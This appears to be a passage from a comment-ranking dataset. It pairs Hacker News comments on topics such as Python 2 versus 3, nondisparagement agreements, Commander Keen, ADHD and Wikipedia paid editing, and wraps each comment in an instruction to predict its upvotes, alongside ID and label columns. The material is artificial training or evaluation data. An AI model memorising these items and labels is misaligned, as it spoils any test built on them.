community&#x27;s intention, the python 2&#x2F;3 split is about as unwelcome a reception to a programming language as I can imagine. Is there a more logical way to choose?<p>Finally, I&#x27;ve now seen clients demand rewrites of python 2 code because of (probably bullshit) concerns around its obsolescence and lack of security. Now these clients generally don&#x27;t know python from their ass and I doubt they have valid technical concerns but as invalid as their concerns probably are, it&#x27;s still a major issue of your big clients threaten to leave unless you rewrite all your python 2 to 3. Anyone faced this?</text></item></parent_chain></comment><story><title>Key differences between Python 2.7.x and Python 3.x (2014)</title><url>http://sebastianraschka.com/Articles/2014_python_2_3_key_diff.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>SmirkingRevenge</author><text>The link appears to be a few years old now, so its advice here I think is a bit out of date. And some might argue it would have been out of date in 2014 as well.<p>It should probably be updated to say that unless you have a VERY strong reason to use 2.7, use 3. And even then, probably still use 3, because your reasons probably aren&#x27;t as strong as you think they are.<p>EDIT: Generally the strong reasons most people had for using py2.7 for new projects were some variant of: &quot;X, Y and Z libraries I need only support 2.7&quot;. But now and days, that actually stands as more of a reason to find alternate libraries.</text><parent_chain><item><author>mnm1</author><text>&quot;I would say there is currently no “right” or “wrong” as long as both Python 2.7.x and Python 3.x support the libraries that you are planning to use.&quot;<p>I would like to consider python for my next project, but this is extremely short sighted advice which begs the very real question: why should I consider python at all for a new, multi year project when there is no clear path forward for the language and there hasn&#x27;t been in a decade?<p>Also, how can you ask someone who is new to the language to just choose? To me that seems insane. They have nothing to base their choice on, yet this choice will decide the future and success of the app. No pressure. But to be honest, and I know this is not the community&#x27;s intention, the python 2&#x2F;3 split is about as unwelcome a reception to a programming language as I can imagine. Is there a more logical way to choose?<p>Finally, I&#x27;ve now seen clients demand rewrites of python 2 code because of (probably bullshit) concerns around its obsolescence and lack of security. Now these clients generally don&#x27;t know python from their ass and I doubt they have valid technical concerns but as invalid as their concerns probably are, it&#x27;s still a major issue of your big clients threaten to leave unless you rewrite all your python 2 to 3. Anyone faced this?</text></item></parent_chain></comment><story><title>Key differences between Python 2.7.x and Python 3.x (2014)</title><url>http://sebastianraschka.com/Articles/2014_python_2_3_key_diff.html</url></story> |
14,825,754 | 14,825,013 | 1 | 2 | 14,824,399 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>curun1r</author><text>There might be unintended consequences to rendering these agreements unenforceable. Over the course of my career, I&#x27;ve seen plenty of cases where employees have been part of a layoff and I&#x27;ve had it happen to me a couple of times as well. In almost all of these situations, employees have been asked to sign one of these non-disparagement agreements. Rarely, if ever, has anyone intended to disparage the company. But in any contract, both sides are supposed to receive consideration, and the agreement is what the company wanted for piece of mind. What the employee got was money, often quite a bit of it. If these agreements are ruled unenforceable, I&#x27;d expect companies to dial back the amount of severance they offer since there&#x27;s little other consideration they could ask from departing employees. For those of us that have little interest in engaging in a public war of words with a former employer (regardless of the company&#x27;s behavior, it&#x27;s rare that doing so will do anything other than hurt an employee&#x27;s future job prospects), unenforceable non-disparagement agreements would only cost us money.<p>Where I think it would be reasonable to make changes is to carve out exceptions to these agreements that are always allowed. Sexual harassment, for example, shouldn&#x27;t get to hide behind a signature that was made to receive severance. Likewise, it should always be allowed to report a crime to police, even if it means accusing a former employer. Making these carve-outs explicit might make these agreements more reasonable without limiting their attractiveness to companies offering severance.</text><parent_chain><item><author>tptacek</author><text>In the medium term, it seems like there needs to be a federal mandatory public policy exemption to nondisparagement, rendering the agreements unenforceable in cases like these and sanctioning illegitimate attempts to enforce.<p>In the short term, it would be good if people could organize legal aid for people in our field working under nondisparagement clauses. Some of these clauses may be <i>prima facie</i> difficult to enforce due to language; others may leave room to report companies to legal authorities.<p>Finally, and I&#x27;m a broken record on this: if a significant fraction of engineers at any company organized themselves and demanded reasonable limitations on their nondisparagement clauses, for instance to protect whistleblowing, <i>they would get it</i>. What&#x27;s a significant fraction? At many companies, it&#x27;s probably less than 20%.<p>I hope a lot of tech industry employees are, as we speak, talking with their friendly peers at their companies and starting to think about how to reach out to labor lawyers to start this process. It&#x27;s not that hard, and, for the time being, federal law protects you extensively in the process of organizing your workplace.</text></item></parent_chain></comment><story><title>Abuses Hide in the Silence of Nondisparagement Agreements</title><url>https://www.nytimes.com/2017/07/21/technology/silicon-valley-sexual-harassment-non-disparagement-agreements.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>tbrownaw</author><text><i>needs to be a federal mandatory public policy exemption to nondisparagement</i><p>I could see agreements not to spout off <i>opinions</i> making sense, but having actual <i>facts</i> (or things you reasonably believe to be facts) ought to make it ok.<p>Rather like what the Internet tells me the difference between US and UK defamation laws is; if you have actual facts on your side you&#x27;re ok, but if you&#x27;re just expressing opinions then it depends (on where you are; or I&#x27;d like to think on what agreements you have).</text><parent_chain><item><author>tptacek</author><text>In the medium term, it seems like there needs to be a federal mandatory public policy exemption to nondisparagement, rendering the agreements unenforceable in cases like these and sanctioning illegitimate attempts to enforce.<p>In the short term, it would be good if people could organize legal aid for people in our field working under nondisparagement clauses. Some of these clauses may be <i>prima facie</i> difficult to enforce due to language; others may leave room to report companies to legal authorities.<p>Finally, and I&#x27;m a broken record on this: if a significant fraction of engineers at any company organized themselves and demanded reasonable limitations on their nondisparagement clauses, for instance to protect whistleblowing, <i>they would get it</i>. What&#x27;s a significant fraction? At many companies, it&#x27;s probably less than 20%.<p>I hope a lot of tech industry employees are, as we speak, talking with their friendly peers at their companies and starting to think about how to reach out to labor lawyers to start this process. It&#x27;s not that hard, and, for the time being, federal law protects you extensively in the process of organizing your workplace.</text></item></parent_chain></comment><story><title>Abuses Hide in the Silence of Nondisparagement Agreements</title><url>https://www.nytimes.com/2017/07/21/technology/silicon-valley-sexual-harassment-non-disparagement-agreements.html</url></story> |
8,327,770 | 8,327,588 | 1 | 2 | 8,326,883 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>vidarh</author><text>It&#x27;s fascinating that this was something new on the PC that late.<p>This is roughly how most scrolling on the C64 happens (though it works by <i>reducing</i> the visible display by 8 hires pixels on either side of the screen, and scrolling at most 8 hires pixels before you need to shift &quot;tiles&quot; &#x2F; characters). I&#x27;m not sure it was new with the C64 either. While most C64 games used sprites for the movable objects, there are absolutely exceptions that tracked damage.<p>On the Amiga, however, the method described is basically pretty much how you&#x27;re expected to do scrolling from the outset(it has much more extensive support for it than EGA did). AmigaOS even came with built in support for managing damage lists for such objects (&quot;bobs&quot; for &quot;blittable objects&quot;) and double buffering from 1985, though most games would have used their own code for it.<p>For these systems redrawing the whole screen was simply never seen as viable, or worthwhile. The Amiga hardware support for doing this kind of scrolling + the use of the blitter for moving game objects and replacing damaged sections made this method the obvious choice.<p>Even double-buffering was sometimes seen as too wasteful, with a solution being to sort damage lists and tie updates to the raster interrupt to update the screen before the raster beam reached it.</text><parent_chain><item><author>Arjuna</author><text>A little slice of history regarding one of the technical foundations of Commander Keen, for those that aren&#x27;t aware:<p>&quot;Then, the first breakthrough. John Carmack devised a smooth, scrolling routine similar to that used for the background of Nintendo games but never before possible on the PC.&quot; [1]<p>The technique is called, <i>adaptive tile refresh.</i> [2]<p>[1] <a href="http://www.3drealms.com/keenhistory" rel="nofollow">http:&#x2F;&#x2F;www.3drealms.com&#x2F;keenhistory</a><p>[2] <a href="https://en.wikipedia.org/wiki/Adaptive_tile_refresh" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Adaptive_tile_refresh</a></text></item></parent_chain></comment><story><title>Commander Keen source code released</title><url>https://github.com/keendreams/keen</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>sprokolopolis</author><text>I remember reading in <i>Masters of Doom</i> that they had actually asked Nintendo if they could license games to get them on personal computers, Obviously, Nintendo declined. They were able to get the first level of Super Mario Bros running on personal computers and used that method in the Commander Keen series.</text><parent_chain><item><author>Arjuna</author><text>A little slice of history regarding one of the technical foundations of Commander Keen, for those that aren&#x27;t aware:<p>&quot;Then, the first breakthrough. John Carmack devised a smooth, scrolling routine similar to that used for the background of Nintendo games but never before possible on the PC.&quot; [1]<p>The technique is called, <i>adaptive tile refresh.</i> [2]<p>[1] <a href="http://www.3drealms.com/keenhistory" rel="nofollow">http:&#x2F;&#x2F;www.3drealms.com&#x2F;keenhistory</a><p>[2] <a href="https://en.wikipedia.org/wiki/Adaptive_tile_refresh" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Adaptive_tile_refresh</a></text></item></parent_chain></comment><story><title>Commander Keen source code released</title><url>https://github.com/keendreams/keen</url></story> |
22,131,076 | 22,131,229 | 1 | 2 | 22,129,777 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>matheusmoreira</author><text>&gt; Unless it happens to magically coincide with their hyper-focus topic of the moment!<p>It&#x27;s funny. People with ADHD suffer from attention deficit but at the same time they display hyperattention when they encounter a subject they like. I&#x27;ve experienced it as well: once I start programming I have no problem doing it for 12 hours straight. I&#x27;ve found this trait in many ADHD patients. There&#x27;s usually something that really turns them on and I always try to find it.<p>I think of it as an signal&#x2F;noise ratio problem. Very high signal is needed to grab their attention and there is very low tolerance for noise.</text><parent_chain><item><author>vonseel</author><text>I’m 31 and have ADHD (diagnosed in my teens) and I’m pretty sure NOBODY with ADHD is going to have the wherewithal to read this entire article! Unless it happens to magically coincide with their hyper-focus topic of the moment!<p>In all seriousness, I skimmed parts of the article and kept scrolling and it just kept going and going and going... like the Energizer bunny. I guess the author found a doctor to prescribe stimulants; they do make it easy to write long rants.<p>I can identify with <i>some</i> of his analogies, not all. The forgetfulness, standing at desk with power supply &#x2F; getting “stuck”, lots of that sounds familiar. Some of the stuff he talks about is behavioral though and if it can be called lazy, it probably is at least partially lazy. I could never file TPS reports everyday, but I can do it occasionally. My brain’s capable of it. I just don’t like doing boring things. And yeah, I probably wouldn’t last if I had to do boring things everyday for a job. But the article makes it sound like he’s actually not capable of doing a boring thing.<p>The more interesting parts of ADHD are the stuff that is lesser-known and often overlooked, like mood swings and anger&#x2F;irritability issues. Ironically stimulants pretty much cured lifelong mood issues for me. I used to blow up on people all the time; now I’m easygoing.</text></item></parent_chain></comment><story><title>ADHD, a Lifelong Struggle (2018)</title><url>https://gekk.info/articles/adhd.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>khalilravanna</author><text>That&#x27;s interesting to hear about ADHD causing mood swings&#x2F;anger&#x2F;irritability and the stimulants doing away with them. Is that a common trait of the illness? I only noticed that <i>after</i> I started taking stimulants my temper became a lot more short. It&#x27;s to the point that I have to be really cognizant of it lest I inadvertently snap at someone due to some biological response (really not good as a leader in an organization).</text><parent_chain><item><author>vonseel</author><text>I’m 31 and have ADHD (diagnosed in my teens) and I’m pretty sure NOBODY with ADHD is going to have the wherewithal to read this entire article! Unless it happens to magically coincide with their hyper-focus topic of the moment!<p>In all seriousness, I skimmed parts of the article and kept scrolling and it just kept going and going and going... like the Energizer bunny. I guess the author found a doctor to prescribe stimulants; they do make it easy to write long rants.<p>I can identify with <i>some</i> of his analogies, not all. The forgetfulness, standing at desk with power supply &#x2F; getting “stuck”, lots of that sounds familiar. Some of the stuff he talks about is behavioral though and if it can be called lazy, it probably is at least partially lazy. I could never file TPS reports everyday, but I can do it occasionally. My brain’s capable of it. I just don’t like doing boring things. And yeah, I probably wouldn’t last if I had to do boring things everyday for a job. But the article makes it sound like he’s actually not capable of doing a boring thing.<p>The more interesting parts of ADHD are the stuff that is lesser-known and often overlooked, like mood swings and anger&#x2F;irritability issues. Ironically stimulants pretty much cured lifelong mood issues for me. I used to blow up on people all the time; now I’m easygoing.</text></item></parent_chain></comment><story><title>ADHD, a Lifelong Struggle (2018)</title><url>https://gekk.info/articles/adhd.html</url></story> |
37,660,271 | 37,659,789 | 1 | 2 | 37,658,319 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>AlanYx</author><text>For what it&#x27;s worth, World Book still publishes the print version of their encyclopedia.</text><parent_chain><item><author>Ensorceled</author><text>&gt; The tendency of a lot of the population to prioritise quick and vapid answers over researching and thinking for themselves isn&#x27;t helping either.<p>This makes no sense... how do they &quot;research researching and thinking for themselves&quot; without the internet? Encyclopædia Britannica stopped publishing in 2010.</text></item><item><author>userbinator</author><text>This happened not long ago: <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37368243">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37368243</a><p>We were already in the &quot;post-truth&quot; world, and AI is just going to drive us further down that path.<p>The tendency of a lot of the population to prioritise quick and vapid answers over researching and thinking for themselves isn&#x27;t helping either.<p>That said, I&#x27;m not sure why whether eggs can be melted is a popular question. Is that a meme?</text></item></parent_chain></comment><story><title>Google is picking ChatGPT responses from Quora as correct answer</title><url>https://twitter.com/8teapi/status/1706520893621784780</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pasquinelli</author><text>just don&#x27;t stop at the very first answer you get. dig a little.</text><parent_chain><item><author>Ensorceled</author><text>&gt; The tendency of a lot of the population to prioritise quick and vapid answers over researching and thinking for themselves isn&#x27;t helping either.<p>This makes no sense... how do they &quot;research researching and thinking for themselves&quot; without the internet? Encyclopædia Britannica stopped publishing in 2010.</text></item><item><author>userbinator</author><text>This happened not long ago: <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37368243">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37368243</a><p>We were already in the &quot;post-truth&quot; world, and AI is just going to drive us further down that path.<p>The tendency of a lot of the population to prioritise quick and vapid answers over researching and thinking for themselves isn&#x27;t helping either.<p>That said, I&#x27;m not sure why whether eggs can be melted is a popular question. Is that a meme?</text></item></parent_chain></comment><story><title>Google is picking ChatGPT responses from Quora as correct answer</title><url>https://twitter.com/8teapi/status/1706520893621784780</url></story> |
11,613,484 | 11,613,512 | 1 | 2 | 11,611,028 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>roymurdock</author><text>It is not a bubble in that market caps are not &quot;popping&quot; - disappearing instantly, overnight, leaving shares worthless and dissolving fortunes. The current tech market is more like a punctured soccer ball, slowly leaking air. Regular people won&#x27;t see this as a crash in their etrade portfolios; rather, they will notice a long, slow decline in the value of their pension&#x2F;retirement funds.</text><parent_chain><item><author>api</author><text>I lived through 2001. This is not a bubble. As exhibit one I point out that everyone has been calling bubble since 2012. Real bubbles have more rah rah and less skepticism and more crazy.<p>I do see a slowdown but this is nothing like dot.com. Seems like a normal correction and is not really separate from the rest of the economy being uncertain. Nothing tech specific.<p>Bubble is an overused term. An inflated market is not a bubble, and a correction is not a bubble bursting. Markets go up and down all the time.</text></item><item><author>tarr11</author><text>If journalists keep writing articles about tech bubbles every few months, someone is bound to be correct. Looks like this &quot;trend&quot; started up again in 2013.<p><a href="https:&#x2F;&#x2F;www.google.com&#x2F;trends&#x2F;explore#q=tech%20bubble" rel="nofollow">https:&#x2F;&#x2F;www.google.com&#x2F;trends&#x2F;explore#q=tech%20bubble</a></text></item></parent_chain></comment><story><title>This Tech Bubble Is Bursting</title><url>http://www.wsj.com/articles/this-tech-bubble-is-bursting-1462161662</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>cleaver</author><text>Same here. I&#x27;d have friends in the investment industry ask me about some new IPO or another. &quot;I can&#x27;t tell you what these guys do.&quot; Still, they&#x27;d pour money into them.<p>Even worse was pouring money into things like Nortel <i>after</i> the crash was well under way. People just chased it to the bottom.<p>Edit: I thought I&#x27;d add that even in a bloodbath like 2001, not everything tanked. The (tiny) company I was with continued to grow in revenue. We weren&#x27;t doing anything glamourous, just focusing on business value. No IPOs, although some folks were trying to push us that way in the late 90&#x27;s.</text><parent_chain><item><author>api</author><text>I lived through 2001. This is not a bubble. As exhibit one I point out that everyone has been calling bubble since 2012. Real bubbles have more rah rah and less skepticism and more crazy.<p>I do see a slowdown but this is nothing like dot.com. Seems like a normal correction and is not really separate from the rest of the economy being uncertain. Nothing tech specific.<p>Bubble is an overused term. An inflated market is not a bubble, and a correction is not a bubble bursting. Markets go up and down all the time.</text></item><item><author>tarr11</author><text>If journalists keep writing articles about tech bubbles every few months, someone is bound to be correct. Looks like this &quot;trend&quot; started up again in 2013.<p><a href="https:&#x2F;&#x2F;www.google.com&#x2F;trends&#x2F;explore#q=tech%20bubble" rel="nofollow">https:&#x2F;&#x2F;www.google.com&#x2F;trends&#x2F;explore#q=tech%20bubble</a></text></item></parent_chain></comment><story><title>This Tech Bubble Is Bursting</title><url>http://www.wsj.com/articles/this-tech-bubble-is-bursting-1462161662</url></story> |
6,862,042 | 6,861,799 | 1 | 2 | 6,860,955 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>saalweachter</author><text>It really irks me whenever there&#x27;s a talk about nuclear energy. Nuclear power may have its own set of challenges, but coming from the baseline of <i>coal</i> it&#x27;s hard to do worse.</text><parent_chain><item><author>Sharlin</author><text>I wonder how this compares to the worst smogs experienced in London and elsewhere before the West got its act together with regard to particulate pollution. Apparently the Great Smog of 1952 <i>killed</i> on the order of 10000 people in just a few days. I&#x27;m not sure many young people nowadays realize how horrible the situation was just half a century ago.<p>[1] <a href="http://en.wikipedia.org/wiki/Great_Smog_of_1952" rel="nofollow">http:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Great_Smog_of_1952</a></text></item></parent_chain></comment><story><title>Schoolchildren ordered indoors as air pollution cloaks Shanghai</title><url>http://www.theguardian.com/environment/2013/dec/06/schoolchildren-air-pollution-shanghai-eastern-china</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Lagged2Death</author><text><i>I&#x27;m not sure many young people nowadays realize how horrible the situation was just half a century ago.</i><p>This is a great point. We&#x27;ve made so much progress in this area that &quot;pollution&quot; can seem like an abstraction. This is something we should be impressing upon our children, in a more serious way than stories about walking to school uphill in the snow both ways, etc.<p>I was two years old when this picture was taken in my home-town. I remember summer days in the following years that looked like this, with the brown air leaching colors from the sunlight itself.<p><a href="http://cdn.theatlantic.com/static/infocus/documerica111611/s_d03_A-550175.jpg" rel="nofollow">http:&#x2F;&#x2F;cdn.theatlantic.com&#x2F;static&#x2F;infocus&#x2F;documerica111611&#x2F;s...</a><p>From here:<p><a href="http://www.theatlantic.com/infocus/2011/11/documerica-images-of-america-in-crisis-in-the-1970s/100190/" rel="nofollow">http:&#x2F;&#x2F;www.theatlantic.com&#x2F;infocus&#x2F;2011&#x2F;11&#x2F;documerica-images...</a><p>It didn&#x27;t compare to the Great Smog, of course, but for Americans, it&#x27;s closer to home and of course also closer to the present.</text><parent_chain><item><author>Sharlin</author><text>I wonder how this compares to the worst smogs experienced in London and elsewhere before the West got its act together with regard to particulate pollution. Apparently the Great Smog of 1952 <i>killed</i> on the order of 10000 people in just a few days. I&#x27;m not sure many young people nowadays realize how horrible the situation was just half a century ago.<p>[1] <a href="http://en.wikipedia.org/wiki/Great_Smog_of_1952" rel="nofollow">http:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Great_Smog_of_1952</a></text></item></parent_chain></comment><story><title>Schoolchildren ordered indoors as air pollution cloaks Shanghai</title><url>http://www.theguardian.com/environment/2013/dec/06/schoolchildren-air-pollution-shanghai-eastern-china</url></story> |
12,497,448 | 12,497,504 | 1 | 2 | 12,497,114 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Noseshine</author><text>He posted a follow-up superseding (or extending) the submitted post:<p><pre><code> &gt; A lot of people misunderstood Top-level await is a footgun, including me.
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<a href="https:&#x2F;&#x2F;gist.github.com&#x2F;Rich-Harris&#x2F;41e8ccc755ea232a5e7b88dee118bcf5" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;Rich-Harris&#x2F;41e8ccc755ea232a5e7b88de...</a></text><parent_chain></parent_chain></comment><story><title>Top-level await in JavaScript is a footgun</title><url>https://gist.github.com/Rich-Harris/0b6f317657f5167663b493c722647221</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>thomasfoster96</author><text>I know that the argument that &quot;silly developers shouldn&#x27;t be allowed to do silly things&quot; is a valid one, but I don&#x27;t see a convincing argument that top level await is worse than what developers are currently doing, which is use synchronous functions to do IO at the top level.<p>If anything, top level async would be an improvement, as it would give developers no reason to do synchronous IO.<p>Edit: Additionally, ES6 modules are already imperative. There isn&#x27;t any way to make them declarative.</text><parent_chain></parent_chain></comment><story><title>Top-level await in JavaScript is a footgun</title><url>https://gist.github.com/Rich-Harris/0b6f317657f5167663b493c722647221</url></story> |
6,588,025 | 6,588,014 | 1 | 3 | 6,587,481 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>raganwald</author><text>This should be fixed the old-fashioned way: By cutting off teh flow of money at the source. When clients are caught directly or indirectly using sock-puppetry and astroturfing on Wikipedia, banners should be added to the affected pages naming and shaming the clients.<p>&quot;This page has been locked by Wikipedia in response to deceptive practices paid for by Engulf and Devour to circumvent our community standards and mislead readers.&quot;<p>If you want this to stop, you have to give the clients a disincentive. That will drive the good clients out and these firms will be left with erectile dysfunction flim-flam as their market.</text><parent_chain></parent_chain></comment><story><title>Wikipedia editors, locked in battle with PR firm, delete 250 accounts</title><url>http://arstechnica.com/tech-policy/2013/10/wikipedia-editors-locked-in-battle-with-pr-firm-delete-250-accounts/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>tokenadult</author><text>I hope, as a Wikipedian since April 2010, that this is the beginning of a thorough change of culture on Wikipedia in the interest of making Wikipedia more of a genuine free online encyclopedia[1] and less of a publicity platform for everyone who doesn&#x27;t want to pay honest cash money for a paid advertisement. There is currently a proposal discussed among Wikipedians for a tighter policy against paid editing,[2] and as long as the new policy, whatever it ends up being, makes for less promotional content on Wikipedia, I&#x27;m all for it.<p>People who want to help Wikipedia improve as unpaid volunteers have a number of channels for doing that. One thing that would help Wikipedia&#x27;s goal of better content quality[3] is adding more reliable sources to articles. I try to help that process by compiling source lists in user space that any Wikipedian can use for updating articles.[4] It&#x27;s a long slog to fight the rot on Wikipedia. Reading Wikipedia takes a sharp eye for propaganda and advertising in disguise.<p>[1] <a href="https://en.wikipedia.org/wiki/Wikipedia:Here_to_build_an_encyclopedia" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Wikipedia:Here_to_build_an_enc...</a><p>[2] <a href="https://en.wikipedia.org/wiki/Wikipedia_talk:Paid_editing_policy_proposal" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Wikipedia_talk:Paid_editing_po...</a><p>[3] <a href="https://strategy.wikimedia.org/wiki/Strategic_Plan/Movement_Priorities#Improve_Content_Quality" rel="nofollow">https:&#x2F;&#x2F;strategy.wikimedia.org&#x2F;wiki&#x2F;Strategic_Plan&#x2F;Movement_...</a><p><a href="https://en.wikipedia.org/wiki/Wikipedia#Accuracy_of_content" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Wikipedia#Accuracy_of_content</a><p>[4] <a href="https://en.wikipedia.org/wiki/User:WeijiBaikeBianji/IntelligenceCitations" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;User:WeijiBaikeBianji&#x2F;Intellig...</a><p><a href="https://en.wikipedia.org/wiki/User:WeijiBaikeBianji/AnthropologyHumanBiologyRaceCitations" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;User:WeijiBaikeBianji&#x2F;Anthropo...</a></text><parent_chain></parent_chain></comment><story><title>Wikipedia editors, locked in battle with PR firm, delete 250 accounts</title><url>http://arstechnica.com/tech-policy/2013/10/wikipedia-editors-locked-in-battle-with-pr-firm-delete-250-accounts/</url></story> |
16,798,053 | 16,797,826 | 1 | 2 | 16,797,597 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>niftich</author><text>This RFC is from 2016, and isn&#x27;t breaking news, so per HN practice, title should probably have (2016).<p>However, there&#x27;s a March 2018 RFC 8310: <i>Usage Profiles for DNS over TLS and DNS over DTLS</i> [1] that describes some privacy implications, deployment scenarios, and DNS authentication mechanisms to be used with the new transports.<p>[1] <a href="https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc8310" rel="nofollow">https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc8310</a></text><parent_chain></parent_chain></comment><story><title>RFC 7858: DNS over TLS (2016)</title><url>https://tools.ietf.org/html/rfc7858</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>cmurf</author><text>OK so which is more likely to play nice with constantly changing wireless connections? DNS-over-TLS, DNS-over-HTTPS, or DNSSEC? I notice that out of the box, Windows and macOS and Fedora all just defer to the DNS servers that are assigned by DHCP, which come from the local AP. So I&#x27;m pretty much stuck, out of the box, with AP specific DNS policy.</text><parent_chain></parent_chain></comment><story><title>RFC 7858: DNS over TLS (2016)</title><url>https://tools.ietf.org/html/rfc7858</url></story> |
7,153,338 | 7,152,033 | 1 | 2 | 7,151,433 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>bcoates</author><text>It&#x27;s a dynamic-typing thing. In some hypothetical static-strong-non-duck version of Python,<p><pre><code> if name != &#x27;&#x27; and len(pets) &gt; 0 and owners != {}
</code></pre>
would tell you that name is a non-empty string, pets has values, and owners is a non-empty dict (except it doesn&#x27;t work, as pdonis noticed).<p>But Python allows immoral implicit conversions, so that&#x27;s not what that line means! If name is a function, pets is the value &#x27;7&#x27; and owners is a list, the test passes.<p><pre><code> if name and pets and owners
</code></pre>
Would pass as well, but it has the advantage of not implying it does more than it does: all you can infer from the test passing is that none of name,pets,owners are special falsy values.<p>If you actually wanted to test what the longer line is implying, you&#x27;d write something like<p><pre><code> if isinstance(name, str) and isinstance(pets, list) and isinstance(owners, set) and name and pets and owners
</code></pre>
(don&#x27;t do this, it violates duck-typing and LBYL)</text><parent_chain><item><author>crazygringo</author><text>Interesting philosophical points.<p>To me personally, testing for &#x27;truthy&#x27; and &#x27;falsy&#x27; values, or relying on exceptions rather than checking values in advance, feels like sloppy and imprecise programming.<p>A string being empty or not, or an array having items or not, or a boolean being true or false, are all qualitatively totally different things to me -- and just because Python <i>can</i> treat them the same, doesn&#x27;t mean a programmer <i>should</i> take advantage of that fact. Sometimes it&#x27;s possible to <i>over</i>-simplify things in a way that obfuscates instead of clarifying.<p>When I read:<p><pre><code> if name and pets and owners
</code></pre>
I have no intuitive idea of what that means, of what&#x27;s going on in the program. When I read<p><pre><code> if name != &#x27;&#x27; and len(pets) &gt; 0 and owners != {}
</code></pre>
I understand it exactly.<p>But by this point, I&#x27;ve come to understand that, for a lot of people, it seems to be the opposite. It seems to be more of a philosophical difference, not right&#x2F;wrong.</text></item></parent_chain></comment><story><title>Python Idioms [pdf]</title><url>http://safehammad.com/downloads/python-idioms-2014-01-16.pdf</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>prawks</author><text>&gt; it&#x27;s possible to over-simplify things in a way that obfuscates instead of clarifying<p>While this is true, I think it&#x27;s important to keep in mind that a big benefit of being able to handle a situation programatically in different ways is that you, as a programmer, are more able to accurately describe <i>intent</i>.<p>For example, I think it&#x27;s foolish to <i>always</i> catch exceptions instead of checking beforehand (look-before-you-leap). However, being able to do either allows me to more accurately represent the intent of a statement. Blindly following rules is almost always sure to lead to poor decisions.<p>If I&#x27;m retrieving an element from an array and I know that for the majority of possible application states there will be an element there, I can just access it, and handle an exception (because it&#x27;s an &quot;exceptional&quot; case). However if I&#x27;m expecting that it could go either way in typical circumstances, then I might more explicitly check the index in the array to illustrate my intent that yes, there are two distinct paths here and that is how the program&#x27;s control flows naturally.<p>Of course all of these things are only worthwhile if the reader can see and interpret them as purposeful decisions rather than coincidence. Conveying that is something else entirely.</text><parent_chain><item><author>crazygringo</author><text>Interesting philosophical points.<p>To me personally, testing for &#x27;truthy&#x27; and &#x27;falsy&#x27; values, or relying on exceptions rather than checking values in advance, feels like sloppy and imprecise programming.<p>A string being empty or not, or an array having items or not, or a boolean being true or false, are all qualitatively totally different things to me -- and just because Python <i>can</i> treat them the same, doesn&#x27;t mean a programmer <i>should</i> take advantage of that fact. Sometimes it&#x27;s possible to <i>over</i>-simplify things in a way that obfuscates instead of clarifying.<p>When I read:<p><pre><code> if name and pets and owners
</code></pre>
I have no intuitive idea of what that means, of what&#x27;s going on in the program. When I read<p><pre><code> if name != &#x27;&#x27; and len(pets) &gt; 0 and owners != {}
</code></pre>
I understand it exactly.<p>But by this point, I&#x27;ve come to understand that, for a lot of people, it seems to be the opposite. It seems to be more of a philosophical difference, not right&#x2F;wrong.</text></item></parent_chain></comment><story><title>Python Idioms [pdf]</title><url>http://safehammad.com/downloads/python-idioms-2014-01-16.pdf</url></story> |
